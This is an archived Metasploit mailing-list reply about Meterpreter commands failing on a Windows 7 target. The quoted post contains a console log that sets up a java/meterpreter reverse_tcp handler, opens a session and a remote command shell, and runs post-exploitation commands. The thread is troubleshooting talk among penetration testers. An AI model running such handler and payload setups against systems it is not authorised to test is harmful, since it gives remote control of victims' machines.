Metasploit mailing list archives
Re: Meterpreter commands failing
From: Tasos Laskos <tasos.laskos () gmail com>
Date: Tue, 19 Oct 2010 02:52:22 +0100
My guess is lack of necessary privileges on the exploited system. The same thing happens with all meterpreter payloads. - Tasos On 19/10/10 02:46, Matthew Presson wrote:
When trying to run some meterpreter commands (use priv, ps, getpid, etc) they fail with "Operation failed" messages. Here is some of the output from the session.=[ metasploit v3.5.0-dev [core:3.5 api:1.0] + -- --=[ 612 exploits - 306 auxiliary + -- --=[ 215 payloads - 27 encoders - 8 nops =[ svn r10741 updated today (2010.10.19) msf > use multi/handler msf exploit(handler) > set PAYLOAD java/meterpreter/reverse_tcp PAYLOAD => java/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 192.168.1.10 LHOST => 192.168.1.10 msf exploit(handler) > exploit[*] Started reverse handler on 192.168.1.10:4444 <http://192.168.1.10:4444>[*] Starting the payload handler... ^C[-] Exploit exception: Interrupt [*] Exploit completed, but no session was created. msf exploit(handler) > exploit[*] Started reverse handler on 192.168.1.10:4444 <http://192.168.1.10:4444>[*] Starting the payload handler... [*] Sending stage (26938 bytes) to 192.168.1.4[*] Meterpreter session 1 opened (192.168.1.10:4444 <http://192.168.1.10:4444> -> 192.168.1.4:3022 <http://192.168.1.4:3022>) at 2010-10-18 20:34:16 -0500meterpreter > use priv Loading extension priv...[-] Failed to load extension: No such file or directory - /opt/metasploit3/msf3/data/meterpreter/ext_server_priv.jarmeterpreter > getpid [-] stdapi_sys_process_getpid: Operation failed: meterpreter > ps [-] stdapi_sys_process_get_processes: Operation failed: meterpreter > getprivs ============================================================ Enabled Process Privileges ============================================================ [-] stdapi_sys_config_getprivs: Operation failed: meterpreter > sysinfo Computer: Windows7 OS : Windows 7 6.1 (x86) meterpreter > getuid Server username: AdminUser meterpreter > shell Process 1 created. Channel 1 created. Microsoft Windows [Version 6.1.7600] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Users\AdminUser\Desktop>Am I doing something wrong, or are these limitations a product of the java/meterpreter payload?-- Matt _______________________________________________ https://mail.metasploit.com/mailman/listinfo/framework
_______________________________________________ https://mail.metasploit.com/mailman/listinfo/framework
Current thread:
- Meterpreter commands failing Matthew Presson (Oct 18)
- Re: Meterpreter commands failing Tasos Laskos (Oct 18)
- Re: Meterpreter commands failing Carlos Perez (Oct 18)
- Re: Meterpreter commands failing Miguel Rios (Oct 19)
- Re: Meterpreter commands failing Carlos Perez (Oct 19)
- Re: Meterpreter commands failing Matthew Presson (Oct 19)
- Re: Meterpreter commands failing Carlos Perez (Oct 19)
- Re: Meterpreter commands failing Carlos Perez (Oct 18)
- Re: Meterpreter commands failing Tasos Laskos (Oct 18)